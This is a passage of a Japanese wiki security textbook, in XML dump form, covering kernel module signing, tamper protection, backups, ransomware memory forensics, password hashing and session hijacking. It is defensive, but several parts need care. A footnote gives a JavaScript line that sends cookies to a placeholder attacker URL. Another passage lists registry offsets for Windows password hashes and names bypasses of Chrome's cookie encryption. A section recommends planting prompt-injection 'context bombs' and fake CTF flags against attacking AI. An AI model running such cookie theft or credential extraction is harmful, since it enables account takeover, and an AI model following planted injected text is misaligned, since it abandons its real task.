* Windows: 強制モードか評価モード (監査モード) かを確認する PowerShell スクリプトが Microsoft のサイトに存在します: https://support.microsoft.com/en-us/windows/hardware/drivers/the-windows-driver-policy#is-my-device-in-evaluation-mode-or-enforcement-mode
* Linux: &lt;code&gt;cat /sys/module/module/parameters/sig_enforce&lt;/code&gt;

また Linux では検証で読み込みを弾かない場合でも検証外カーネルモジュールを読み込んだ場合はdmesgに警告が出て '''Tainted kernel''' 扱いとなります&lt;ref&gt;[https://docs.kernel.org/admin-guide/tainted-kernels.html Tainted kernels] Linux Foundation&lt;/ref&gt;。以下はその例です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_MODULE_SIG=y
$ cat /sys/module/module/parameters/sig_enforce # Y=Yes, N=No
N
$ sudo dmesg | grep 'module verification'
[    8.928361] nvidia: module verification failed: signature and/or required key missing - tainting kernel
$ wget http://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/tools/debugging/kernel-chktaint
[...]
$ sudo sh ./kernel-chktaint
Kernel is &quot;tainted&quot; for the following reasons:
 * externally-built ('out-of-tree') module was loaded  (#12)
 * unsigned module was loaded (#13)
Raw taint value as int/string: 12288/'G           OE      '

Tainted modules:
 * nvidia (OE)
 * nvidia_drm (OE)
 * nvidia_modeset (OE)
 * nvidia_uvm (OE)

For a more detailed explanation of the various taint flags see
 Documentation/admin-guide/tainted-kernels.rst in the Linux kernel sources
 or https://kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
&lt;/syntaxhighlight&gt;

また Linux では以下のような感じで個々のモジュールの署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ modinfo /lib/modules/$(uname -r)/kernel/arch/x86/kernel/msr.ko.zst
filename:       /lib/modules/7.0.0-38-generic/kernel/arch/x86/kernel/msr.ko.zst
license:        GPL
description:    x86 generic MSR driver
author:         H. Peter Anvin &lt;hpa@zytor.com&gt;
srcversion:     639B995855A3528050FD532
depends:
intree:         Y
name:           msr
retpoline:      Y
vermagic:       7.0.0-38-generic SMP preempt mod_unload modversions
sig_id:         PKCS#7
signer:         Build time autogenerated kernel key
sig_key:        3B:E7:D3:BF:D3:2E:D9:CA:9C:17:D2:E9:5F:1A:1C:AE:67:D5:82:2F
sig_hashalgo:   sha512
signature:      96:BC:2A:18:6E:4D:D8:E5:28:69:9D:E6:65:89:95:D4:BE:4C:5B:7C:
                4A:23:11:75:F6:FE:63:79:FC:29:9B:F7:EA:24:B6:F1:EF:F3:80:17:
                0B:C0:1E:46:61:29:BB:F9:E0:AC:81:69:85:73:7D:D4:77:82:A8:DB:
[...]
&lt;/syntaxhighlight&gt;

なおセキュアブートの環境において DKMS (Dynamic Kernel Module Support) などによるソースコードからの外部カーネルモジュールの導入には自己署名のためのマシン所有者キー (Machine-Owner Key; MOK) が使われていますが、標準ではその秘密鍵がrootからアクセスできる領域に置かれるため、root権限があればどんな悪意のあるカーネルモジュールにも署名を付けることが可能となってしまいます&lt;ref name=&quot;ubuntu-secure-boot&quot;/&gt;。そのため MOK はなるべく使わないようにしましょう。

Ubuntu ではいくつか外部カーネルモジュールに DKMS 版ではなく署名ビルド版を使用することができます。
{| class=&quot;wikitable&quot;
|+ Ubuntuにおける DKMS 版と署名ビルド版
|-
! 外部カーネルモジュール !! DKMS版のパッケージ名 !! 署名ビルド版のパッケージ名
|-
! NVIDIA Driver
| nvidia-dkms-* || linux-modules-nvidia-*-open-$(uname -r) 及び linux-signatures-nvidia-$(uname -r)
|-
! iwlwifi（Intel無線LANドライバ）
| backport-iwlwifi-dkms || linux-main-modules-iwlwifi-$(uname -r)
|-
! v4l2loopback
| v4l2loopback-dkms || linux-main-modules-v4l2loopback-$(uname -r)
|-
! Intel Vision Driver
| intel-vision-dkms || linux-main-modules-vision-$(uname -r)
|-
! Intel Integrated Image Processing Unit 6 driver
| intel-ipu6-dkms || linux-main-modules-ipu6-$(uname -r)
|-
! Intel Integrated Image Processing Unit 7 driver
| intel-ipu7-dkms || linux-main-modules-ipu7-$(uname -r)
|-
! USBIO drivers
| intel-usbio-dkms || linux-main-modules-usbio-$(uname -r)
|-
! ZFS (Zettabyte File System)
| zfs-dkms || linux-main-modules-zfs-$(uname -r)
|-
! NVIDIA DOCA-OFED
| doca-ofed-*-dkms || linux-main-modules-doca-ofed-$(uname -r)
|-
! Extensible Virtual Display Interface
| evdi-dkms || linux-main-modules-evdi-$(uname -r)
|}

しかしながら一部の外部カーネルモジュールは DKMS 経由でのみ提供されています。

=== システムファイル改ざんを防ぐ ===
システムファイル改ざんを防ぐ良い方法はシステム領域を読み取り専用にすることですが、仮にファイルシステムを読み取り専用のファイルシステム（SquashFSやEROFS）にしたとしても記録する場所がSSDであればブロック単位での上書きが可能となります。

1回だけ書き込めて上書きが不可能な媒体としてはCD-R、DVD-R、DVD+R、BD-Rなどの一部の光学メディアが存在しますが、これらをブートメディアとして使用するのは頻繁なアップデートが難しくなります。

そのほかの手法としては別のコンピュータからシステムファイルを取得する「ネットワークブート」を行うという手法もありますが、これはネットワーク経由でシステムファイルが盗まれる可能性と隣り合わせです。しかしながらプロトコルにUEFI HTTPSを、認証に相互認証のmTLSを用いて、その秘密鍵をTPMで管理してOSから読めなくすることでネットワークブートの安全性は何とか確保できるかもしれません（対応マザーボードは不明）。

一方、Android や ChromeOS ではブロックデバイス単位での改ざん検知 (dm-verify) によってシステムイメージの改ざんを防止しています&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;&lt;ref&gt;[https://research.google/pubs/verified-boot-on-chrome-os-and-how-to-do-it-yourself/ Verified Boot on Chrome OS and How to do it yourself] Google&lt;/ref&gt;。

=== カーネルメモリ改ざんを防ぐ ===
カーネルメモリのコード部分は MMU の書き込み禁止によって保護されています。iOS / macOS では Kernel Integrity Protection が&lt;ref&gt;[https://support.apple.com/ja-jp/guide/security/sec8b776536b/web オペレーティングシステムの整合性] Apple&lt;/ref&gt; 、Linux では Kernel Strict RWX がこれに相当します&lt;ref&gt;[https://docs.kernel.org/security/self-protection.html Kernel Self-Protection] Linux Foundation&lt;/ref&gt;。Windows でもカーネルモードに読み込み専用メモリセグメントが存在し、これに書き込もうとするとブルースクリーンで ATTEMPTED_WRITE_TO_READONLY_MEMORY (0xBE) が発行されます&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/debugger/bug-check-0xbe--attempted-write-to-readonly-memory バグ チェック 0xBE: ATTEMPTED_WRITE_TO_READONLY_MEMORY] Microsoft&lt;/ref&gt;。しかしながら Linux Kernel では kprobes、Static Keys、Static calls などで自己書き換えが多用されているため、一時的にコード部分を書き込み可能なページに割り当てて書き換える text_poke(...) という抜け道が存在します。

また定期的に改ざんが行われていないかをチェックする仕組みも存在します。Windows では[[:w:Kernel Patch Protection|Kernel Patch Protection]] (PatchGuard) / HyperGuard が、Linux では Linux Kernel Runtime Guard（外部パッチ）がこれに該当します。Windows の PatchGuard では改ざんが検出されたらブルースクリーンで CRITICAL_STRUCTURE_CORRUPTION が発行されます。

&lt;!--TODO: Windows の HVCI、macOS の Secure Page Table Monitor / Trusted Execution Monitor--&gt;

&lt;!--
=== アプリケーション改ざんを防ぐ ===
SELinux / AppArmor
--&gt;

== 攻撃用AIを対策する ==
攻撃用AIでは基本的に賢いかつ制限の緩い大規模言語モデル (LLM) が使われています。この代表的な例として GLM 5.3 や Qwen3.8-27B-ABLITERATED が存在します。

=== コンテキスト爆弾を設置する ===
攻撃用AIの対策では相手のLLMを止めることが重要となります。そこで使えるのが'''コンテキスト爆弾''' (context bombs) という手法です&lt;ref&gt;[https://arstechnica.com/security/2026/07/now-defenders-are-embracing-the-prompt-injection-too/ Now, defenders are embracing the prompt injection, too] Ars Technica 2026年7月14日&lt;/ref&gt;。

このコンテキスト爆弾は「相手のLLMに対し応答やツール呼び出しで禁止されていることを行わせようとする」というプロンプトインジェクションの一種であり、それによって相手のガードレールがLLMを止めることで相手からの攻撃を防ぎます。この手法は相手の読みそうなテキストにただプロンプトを書いておけば良いだけなので、お手軽に使えます。

コンテキスト爆弾のテキスト例は以下のリポジトリに存在します:
* https://github.com/tracebit-com/context-bombs

===  キャプチャー・ザ・フラッグに偽装する ===
実際の攻撃をコンピュータセキュリティの競技の一つ「[[:w:キャプチャー・ザ・フラッグ|キャプチャー・ザ・フラッグ]]」(CTF) に偽装して止めるという手法が存在します。

キャプチャー・ザ・フラッグで良く使われるファイルには以下が存在します:
* /.env&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;&gt;[https://www.appsecmaster.net/blog/ctf-writeup/ CTF Writeup Guide - Template and Real Web Exploit Examples] AppSecMaster&lt;/ref&gt;
* /flag&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /app/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /home/ctf/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /var/www/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /root/flag.txt
* /tmp/flag.txt
* /opt/flag.txt

=== ハニーポット ===
ハニーポットは攻撃者を引きつける役目を担います。ハニーポットの評価フレームワークには「UHBS」(Universal Honeypot Benchmarking Standard) が、その品質基準には「UHQS」(Universal Honeypot Quality Score) が存在しますが、2026年現在多くのハニーポットがFランク〜Dランクと残念な状況になっています&lt;ref&gt;[https://uhbs.github.io/uhbs-standard/mkdocs/conformance/ Overview - UHBS — Honeypot Evaluation Framework]&lt;/ref&gt;。

&lt;!--
== 自作コードの脆弱性を塞ぐ ==
書きかけ

--&gt;

== 被害を受けても復旧しやすくする ==
=== バックアップを取る ===
バックアップでは複数世代でオフラインバックアップを取ってください。バックアップの媒体には例えば以下が存在します:
* 外付けHDD
* RDXデータカートリッジ
* LTOテープ

=== 書き込み時コピーのファイルシステムを使う ===
コピー・オン・ライト（書き込み時コピー、CoW) のファイルシステム（btrfs、ZFS）では書き込みが既存のデータと別の場所に保存されるため、ファイルが破壊された場合でも復元できる確率が上がります。

しかしながらそれらのファイルシステムの構造を把握して破壊する高度なマルウェアには無効です。

=== クリーンな環境を用意しておく ===
復旧用として侵害されにくいクリーンな環境を用意しておきましょう。

== 被害からの復旧 ==
=== ランサムウェア被害からの復旧 ===
ランサムウェア（身代金要求型マルウェア）はファイルの暗号化を行います。

復旧のためには決して'''電源を落とさないでください'''。まずはLANケーブルを抜いた後、&lt;code&gt;iotop&lt;/code&gt;コマンドからI/Oの多いプロセスを特定したりなどして&lt;code&gt;kill -STOP&lt;/code&gt;で怪しいプロセスを全て停止させてください。これによって暗号化に使われた鍵がメモリ内に残ります。

次にそのメモリをダンプして外部に保存してください。
* /dev/mem ファイルからのメモリダンプ（モダンなLinuxでは非対応{{efn|/dev/mem からの Linux カーネル全域+ユーザーランドのメモリダンプには Linux カーネルが CONFIG_DEVMEM&amp;#61;y かつ CONFIG_STRICT_DEVMEM&amp;#61;n でコンパイルされている必要があります。}}）
** 直接ダンプする (&lt;code&gt;dd if=/dev/mem ...&lt;/code&gt;)
** AVML (Acquire Volatile Memory for Linux)[https://github.com/microsoft/avml]を使う
* カーネルモジュールによるメモリダンプ
** lime.ko (LiME, Linux Memory Extractor) [https://github.com/jtsylve/LiME]を使う（Debian/Ubuntu では lime-forensics-dkms パッケージとして用意されているが、セキュアブートの場合は前述の MOK による自己署名が必要なので非推奨{{efn|DKMS経由のカーネルモジュール導入は、UEFI セキュアブートなどで Linux カーネルのロックダウンが有効の場合 (&lt;code&gt;cat /sys/kernel/security/lockdown&lt;/code&gt; が integrity または confidentiality の場合)、Machine-Owner Key (MOK) の有効化が必要となります。MOK の鍵が無効になっている場合は再起動後に MokManager から MOK の鍵を有効にする必要があるため、MOK の鍵が無効かつ再起動が不可能な場合は lime-forensics-dkms を使うことはできません。また MOK を有効にした場合はカーネルロックダウンが無意味になる（root権限があれば悪意のあるカーネルモジュールに署名して読み込ませられるようになるため、root権限とカーネルモードのセキュリティ境界が無くなる&lt;ref name=&quot;ubuntu-secure-boot&quot;&gt;[https://documentation.ubuntu.com/security/security-features/platform-protections/secure-boot/ UEFI Secure Boot - Ubuntu security documentation] Canonical&lt;/ref&gt;）という大きな欠点も存在します。}}）
* eBPF プログラムによるメモリダンプ（モダンなシステムで推奨&lt;ref&gt;Andrea Oliveri et al. [https://www.s3.eurecom.fr/docs/dfrwseu26_oliveri.pdf LEMON: A universal eBPF-based volatile memory acquisition tool for modern android devices and hardened linux systems] Eurecom 2026年3月&lt;/ref&gt;）{{efn|ただしeBPFが有効のカーネルに限る。}}
** LEMON[https://github.com/eurecom-s3/lemon]
&lt;!--TODO: 未検証
** emd[https://github.com/ph0llux/emd] - 未検証
--&gt;

最後にクリーンな環境を使ってダンプしたメモリから暗号化に使われた鍵を見つけましょう。これには例えば以下のようなプログラムが存在します。
* C3RB3R向け: https://github.com/soimy/c3rb3r-rescue

なおこの方法はファイル暗号化の部分に共通鍵を使うランサムウェアにのみ効果があります。非対称鍵を直接ファイル暗号化に使うランサムウェアには無効なので期待しすぎないようにしましょう。

== 脚注 ==
&lt;references group=&quot;注釈&quot;/&gt;

== 参考文献 ==
&lt;references/&gt;

{{DEFAULTSORT:こんひゆうたせきゆりてい}}
[[Category:計算機科学]]
[[Category:情報技術]]</text>
      <sha1>s0vltf0xnou8939rkza4zqo338qxj4e</sha1>
    </revision>
    <revision>
      <id>305243</id>
      <parentid>305242</parentid>
      <timestamp>2026-11-01T01:44:19Z</timestamp>
      <contributor>
        <username>~2026-54076-02</username>
        <id>92740</id>
      </contributor>
      <comment>/* セッションハイジャックを防ぐ */</comment>
      <origin>305243</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="95006" sha1="6syjhd1vknmw8p7cdbc7grpbwny81y9" xml:space="preserve">'''コンピュータセキュリティ'''はコンピュータの安全のことです。ここではコンピュータの安全を確保することを学びます。

== コンピュータセキュリティの基本 ==
コンピュータは弱いところから狙われるため、弱いところを無くすのがセキュリティの基本となります。

具体例を挙げましょう。一般的な光回線に繋がれてるホームネットワークを考えます。ここには光回線の先に繋がる上位ネットワークと家内のホームネットワーク (家庭におけるLAN) とを区切るエッジルーター（一般的にはハードウェア・ゲートウェイがこれに該当）が存在します。このホームネットワークに数台の新しいWindows PCと一台の古い機器が繋がっていると仮定します。

新しいWindows PC同士ではホームネットワーク経由でファイルをやり取りするためにファイルの共有 (SMB{{efn|Server Message Block}}) を有効にしているとします。一方、古い機器の方を脆弱性のある古いテレビとしましょう。このテレビはインターネットから繋いで地上デジタル放送を見るための DCTP+ {{efn|Digital Transmission Content Protection +}}が搭載されており、UPnP{{efn|Universal Plug and Play}}で自動的にエッジルーター搭載のファイアーウォールに穴あけてインターネット側から DCTP+ に繋がるようになっているものとします。

この仮定によってハッカーは DCTP+ の脆弱性を使って古いテレビに悪意のあるプログラムを実行させてファイルの共有サーバーを立て{{efn|Windows 11時点でもゲスト認証による接続は許可されている&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-interception-defense?tabs=group-policy Protect SMB traffic from interception] Microsoft&lt;/ref&gt;。}}、そこからファイルの共有を通じて新しいWindows PCにマルウェア (例えば&lt;code&gt;PHOTO-&lt;ランダムな数字&gt;.png.lnk&lt;/code&gt;&lt;ref&gt;[https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/ Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access] Microsoft 2026年6月25日&lt;/ref&gt;) を送り込むことが可能となりました。

== 安全にパスワードを使う ==
=== 流出したパスワードと被ってないかをチェックする ===
あちこちのサイトで流出したパスワードは集められてデータベース化されダークネットに流通しています。この代表的なものには2019年に登場した [[:w:en:Collection No. 1|Collection #1]] が挙げられます。この Collection #1 などの流出パスワードデータベースは辞書攻撃に利用されており、これは「Credential Stuffing攻撃」と呼ばれています。

使うパスワードが流出パスワードデータベースに載っていないかを確認するためには上記のデータベースを手に入れるか、上記のデータベースからk-匿名性で検索を行うオンラインサービスを使うと良いでしょう。

このオンラインサービスの代表的なものにはWebサイト「Have I Been Pwned」の提供する「Pwned Passwords」サービスが存在しますが、このAPIではパスワードのSHA-1ハッシュ先頭5文字を渡すと、流出したパスワードのSHA1ハッシュ6文字以降と流出データベースに載っていた回数が返答されます。
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # パスワードを入力してSHA-1ハッシュへと変換する（ここでは'test'と入力）
$ sha1=$(read -sp &quot;Password: &quot; pass &amp;&amp; echo -n $pass | sha1sum | cut -d' ' -f1)
Password: 
$ # 変換後のハッシュを表示
$ echo $sha1
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
$ # ハッシュの先頭5文字を渡して6文字目以降を検索（':'の後ろは見つかった数）
$ curl -s https://api.pwnedpasswords.com/range/$(echo $sha1 | cut -c 1-5) | grep -i $(echo $sha1 | cut -c 6-)
FE5CCB19BA61C4C0873D391E987982FBBD3:1579235
&lt;/syntaxhighlight&gt;

ハッシュの先頭5文字も渡したくない場合や、自社サービスでチェックを行いたい場合は上記のサービスが公式で提供するツール「haveibeenpwned-downloader」[https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader]で全てのハッシュデータをダウンロードして自前で照合しましょう。

=== 解析耐性のある鍵導出関数を使う ===
パスワードでは計算負荷の低い SHA-256 や SHA-512 などの通常のハッシュ関数、メモリ負荷の低い [[:w:PBKDF2|PBKDF2]] や bcrypt などの古い[[:w:鍵導出関数|鍵導出関数]]（パスワードハッシュ関数）を使わないようにしましょう。これらの弱いハッシュ関数は GPU や ASIC で高速に解かれてしまいます。

より強いパスワードハッシュ関数としては yescrypt や Argon2id が存在します。パスワードにはこちらを使いましょう。現代の Linux ではアカウントのパスワードハッシュ関数として yescrypt が標準となっています。

使っている Linux の新規アカウントで使われるパスワードハッシュ関数は以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -n 'pam_unix.so' /etc/pam.d/common-password
26:password     [success=2 default=ignore]      pam_unix.so obscure use_authtok try_first_pass yescrypt
&lt;/syntaxhighlight&gt;

Linuxの現在のアカウントがどのハッシュ関数を使用しているかは以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo cat /etc/shadow | grep $USER # $(1|5|6|b)$=弱い、$y$=強い
user:$y$j9T$ST7oYwlQjFy7/8vnL/Ugt0$po4vW4qgGu8lpUNRtH0B3hDHGZACzcRhzIKhqlx.2Z5:20743:0:99999:7:::
&lt;/syntaxhighlight&gt;

弱いハッシュ関数を使用している場合は&lt;code&gt;passwd $USER&lt;/code&gt;でパスワードを再設定して使用するハッシュ関数を更新してください。

一方、Windows 10 以前のローカルアカウントではパスワードハッシュがレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;(ユーザーID)\&lt;wbr&gt;V&lt;/code&gt;{{efn|name=&quot;sam&quot;}}のバイナリの以下の場所に存在します:
* [[:w:LMハッシュ|LMハッシュ]]:  0xCC + (0x9C に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt;
* NTLMハッシュ:  0xCC + (0xA8 に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt; 

LMハッシュは [[:w:LAN Manager|LAN Manager]] に使われていた [[:w:Data Encryption Standard|DES]] ベースの古いハッシュ、NTLMハッシュは [[:w:NT LAN Manager|NT LAN Manager]] に使われている [[:w:MD4|MD4]] ベースの古いハッシュであり、どちらも非常に弱いものとなっていました。

また Windows の Active Directory ドメインアカウントのオフライン認証向けキャッシュ済みドメイン資格情報はレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SECURITY\&lt;wbr&gt;Cache&lt;/code&gt;に存在します:
* DCC1 ハッシュ (MSCache v1): 弱い MD4 ベース。Windows XP以前。
* DCC2 ハッシュ (MSCache v2) : 弱めの PBKDF2-HMAC-SHA1 ベース。Windows Vista以後&lt;ref&gt;[https://attack.mitre.org/techniques/T1003/005/ OS Credential Dumping: Cached Domain Credentials] MITRE 2025年10月24日&lt;/ref&gt;。

2021年にリリースされた Windows 11 以降は Microsoft アカウントが必須となっています。

&lt;!--TODO: 
Windows Hello、LSA Secrets

=== パスワードの複雑性をチェックする ===
=== TPMで鍵を隔離する ===
--&gt;

=== セッションハイジャックを防ぐ ===
パスワードの悪用は年々難しくなっていますが、それに代わるものとしてブラウザセッション（Cookieなど）を乗っ取る「セッションハイジャック」という手法も流行しています。

これには例えば以下の方法があります:
* マルウェア（セッションスティーラー）でブラウザのセッションファイルを抜き取る
* 正規サイトに挿入される広告やライブラリなどの Javascript ファイルから Cookie (&lt;code&gt;document.cookie&lt;/code&gt;) を抜き取る{{efn|例えば Javascript に &lt;code&gt;location.href &amp;#61; &quot;https://（攻撃者のサイト）/logging.cgi?log&amp;#61;&quot; + document.cookie;&lt;/code&gt;を挿入するなど。}}（Webサイト側は Cookie の HttpOnly 属性で対策可）
* 正規サイトに挿入される広告やライブラリなどの外部参照{{efn|ページ埋め込み (iframe)や画像埋め込み (img)など。}}から Cookie を抜き取る（Webサイト側は Cookie の SameSite 属性で対策可）

また以前は暗号化通信 (HTTPS) を遮断したり転送するなどして非暗号化通信 (HTTP) にフォールバックさせるという攻撃もありました（Webサイト側はHTTPヘッダの Strict-Transport-Security や Cookie の Secure 属性で対策）が、Chrome 154 以降は HTTP のサイト自体に警告が出るようになりました。

ブラウザのセッションファイルは以下のように暗号化されています&lt;ref name=&quot;google-cookie-2024&quot;/&gt;。
{| class=&quot;wikitable&quot;
|+ Chromeのセッションファイルの暗号化&lt;ref name=&quot;google-cookie-2024&quot;&gt;[https://developers-jp.googleblog.com/2024/08/improving-security-of-chrome-cookies-on.html Windows 版 Chrome で Cookie のセキュリティを向上させる] Google 2024年8月15日&lt;/ref&gt;
|-
! Windows !! macOS !! Linux (GNOME) !! Linux (KDE)
|-
| アプリケーション バウンド暗号化 || [[:w:Keychain|Keychain]]サービス || [[:w:GNOME Keyring|GNOME Keyring]] (libsecret) || [[:w:KWallet|KWallet]]
|}

しかしながらアプリケーション バウンド暗号化では鍵抽出 (Local Stateファイルのapp_bound_encrypted_keyからElevation Serviceでdecrypt)&lt;ref&gt;[https://www.fortinet.com/jp/blog/threat-research/svg-phishing-hits-ukraine-with-amatera-stealer-pureminer SVGフィッシングでウクライナを攻撃：Amatera StealerとPureMiner利用] Fortinet 2025年10月17日&lt;/ref&gt;、パディングオラクル攻撃を基にした C4 (Chrome Cookie Cipher Cracker) 攻撃&lt;ref&gt;[https://www.security-next.com/172016 ブラウザ「Chrome」の「Cookie暗号化保護」を破壊する「C4攻撃」] NEWSGAIA 2025年7月4日&lt;/ref&gt;、暗号化鍵の鍵置換 (key substitution) 攻撃&lt;ref&gt;[https://issues.chromium.org/issues/513204839 Potential App-Bound Encryption bypass via PROTECTION_NONE key substitution in Local State] Google&lt;/ref&gt;などによって暗号化前のデータを抜き出すことが行われています。

またそもそもアプリケーション バウンド暗号化はポリシー設定 ( chrome://policy ) の ApplicationBoundEncryptionEnabled を false にすることで無効化することができる&lt;ref&gt;[https://chromeenterprise.google/policies/#ApplicationBoundEncryptionEnabled Chrome Enterprise のポリシーリストと管理 - ドキュメント - ApplicationBoundEncryptionEnabled] Google&lt;/ref&gt;ため、まずはこれが無効になってないかを確認しておきましょう。

なお 2026年にはセッションハイジャックを難しくする Device Bound Session Credentials という技術も一般提供されるようになりました。こちらは TPM ([[:w:Trusted Platform Module|Trusted Platform Module]]) の鍵を使うものとなっています。

== 既製製品の脆弱性を塞ぐ ==
まずは弱いところを無くしましょう。

=== ソフトウェアアップデートをする ===
セキュリティの基本はソフトウェアアップデートです。

==== PCおよびモバイル ====
PC{{efn|PCサーバを含む}}やモバイルでは基本的に自動で通知が来るので忘れずにアップデートを選択しましょう。手動では以下のように行います:
; Windows
: システムのアップデートは基本的に [[:w:Microsoft Update|Microsoft Update]] (Windows Update) で、アプリケーションのアップデートは基本的に&lt;code&gt;winget upgrade --all&lt;/code&gt;コマンドで行います。
: また Windows 11 Enterprise では再起動が不要なホットパッチにも対応しています。
; macOS / iOS
: 「ソフトウェアアップデート」
; Ubuntu / Debian
: [[:w:APT|APT]]パッケージ管理システムでは&lt;code&gt;apt upgrade&lt;/code&gt;コマンドで更新を行います。
: Ubuntu では GUI による更新用として[[:w:Software Updater|Software Updater]] (&lt;code&gt;update-manager&lt;/code&gt;コマンド)、[[:w:Snap (ソフトウェア)|Snap]]パッケージの更新コマンドとして&lt;code&gt;snap refresh&lt;/code&gt;、メジャーバージョンの更新コマンドとして&lt;code&gt;do-release-upgrade&lt;/code&gt;も存在します。
: また Ubuntu では Ubuntu Pro に登録することで再起動が不要なカーネル修正の「Livepatch」も可能となります（個人では5台まで無料）。SUSEではユーザー空間ライブパッチングまで提供されています（glibc と openssl のみ）&lt;ref&gt;[https://documentation.suse.com/ja-jp/sles/15-SP6/html/SLES-all/cha-ulp.html ユーザ空間ライブパッチ - 管理ガイド - SLES 15 SP6] SUSE&lt;/ref&gt;。
; RedHat / Fedora
: &lt;code&gt;yum update&lt;/code&gt;コマンド
; Android
: 「設定」アプリ→「システム」→「システムアップデート」または「ソフトウェアアップデート」 

また個々のハードウェアのファームウェアアップデートは以下で行います:
; Linux
: Linuxにおけるファームウェアの更新は基本的に&lt;code&gt;fwupdmgr update&lt;/code&gt;コマンドで行います。
: NVMe SSDのファームウェアの更新は&lt;code&gt;nvme fw-download&lt;/code&gt;コマンドおよび&lt;code&gt;nvme fw-commit&lt;/code&gt;コマンドで行うことができます。
一方、Windows ではファームウェアのアップデートも Windows Update 経由で&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/bringup/firmware-update ファームウェアの更新] Microsoft&lt;/ref&gt;、macOS ではファームウェアのアップデートもmacOSアップデートで行うことができます&lt;ref&gt;[https://support.apple.com/ja-jp/guide/mac-help/mchlp2609/mac Macのファームウェアアップデートの入手方法] Apple&lt;/ref&gt;。

&lt;!--
また開発環境では以下も存在します:
; Python
: &lt;code&gt;pip -U install&lt;/code&gt;
--&gt;

==== ルーター ====
ルーターでは以下の設定を有効のままにしておきましょう:
; AirStationシリーズ（Buffalo 製ルーター）
: 「ファームウェア自動更新機能」
; Atermシリーズ（NEC 製ルーター）
: 「メンテナンスバージョンアップ機能」「時刻指定バージョンアップ機能」

==== テレビ ====
テレビでは放送波アップデートが行われるため、「放送波による自動更新」&lt;!--TODO: メーカー別名--&gt;を有効にしましょう。

=== 高速に再起動する ===
パッケージは更新しただけでは反映されません（一部デーモンの更新を除く）。Linuxでは高速に再起動する方法が存在し、これによってダウンタイムを減らすことができます。
; 更新で影響を受けるデーモンのみ再起動する
:* Ubuntu Server: 標準で &lt;code&gt;needrestart&lt;/code&gt; が導入されており自動で影響を受けるデーモンの再起動が行われます{{efn|自動的なデーモン再起動を止めるには /etc/apt/apt.conf.d/99needrestart より&lt;code&gt;-m u&lt;/code&gt;を削除する必要があります&lt;ref&gt;[https://discourse.ubuntu.com/t/needrestart-changes-in-ubuntu-24-04-service-restarts/44671 `needrestart` changes in Ubuntu 24.04: service restarts] Canonical 2024年&lt;/ref&gt;。}}（Ubuntu Desktopでは別途導入が必要）。
:* RedHat / Fedora: &lt;code&gt;dnf needs-restarting&lt;/code&gt;が導入されており、それによって再起動するべきデーモンを確認できます。
; ユーザー空間のみ再起動する（カーネルの更新がない、またはカーネルでlive patchingを行ってる場合）
: &lt;code&gt;sudo systemctl soft-reboot&lt;/code&gt;
; 高速にカーネルを更新する（ファームウェアの更新がない場合）
: &lt;code&gt;sudo systemctl kexec&lt;/code&gt;

また一部のソフトウェアではホットアップグレード（無停止アップグレード{{efn|Zero-Downtime Upgrade}}）にも対応しています (nginx の USR2 シグナル&lt;ref&gt;[https://nginx.org/en/docs/control.html Controlling nginx] nginx&lt;/ref&gt;など)。

=== 代替ソフトウェアを探す ===
更新が停止された古いソフトウェアの多くはそれ自身に脆弱性が存在したり、脆弱性のある古いライブラリに依存していたりします。そのため古いソフトウェアは速やかに代替ソフトウェアへと移行しましょう。

==== 開発終了したソフトウェアから現役のソフトウェアへ ====
古いソフトウェアには例えば以下があります:
* オフィススイート（代替候補: LibreOffice）
** [[:w:OpenOffice.org|OpenOffice.org]]（〜2011年）
* 画像ビューア
** [[:w:Susie|Susie]] （〜2013年）
* メディアプレイヤー
** [[:w:QuickTime|QuickTime]] for Windows（〜2016年） - リモートコード実行の脆弱性 ([https://www.zerodayinitiative.com/advisories/ZDI-16-241/ ZDI-16-241]、[https://www.zerodayinitiative.com/advisories/ZDI-16-242/ ZDI-16-242]) を残したままサポート終了しました&lt;ref&gt;[https://internet.watch.impress.co.jp/docs/news/753400.html Apple、「QuickTime for Windows」のサポートを終了、アンインストールを推奨] Impress 2016年4月15日&lt;/ref&gt;。
* メディアフィルター（代替候補: LAV Filters）
** [[:w:ffdshow|ffdshow]]（〜2014年）
** [[:w:Haali Media Splitter|Haali Media Splitter]]（〜2013年） 
* メディアセンター（代替候補: Kodi）
** [[:w:en:Boxee|Boxee]]（〜2011年）
** [[:w:Kodi|XBMC]]（〜2014年） - Kodiの前身
* 圧縮ソフトウェア
** [[:w:+Lhaca|+Lhaca]]（〜2007年）
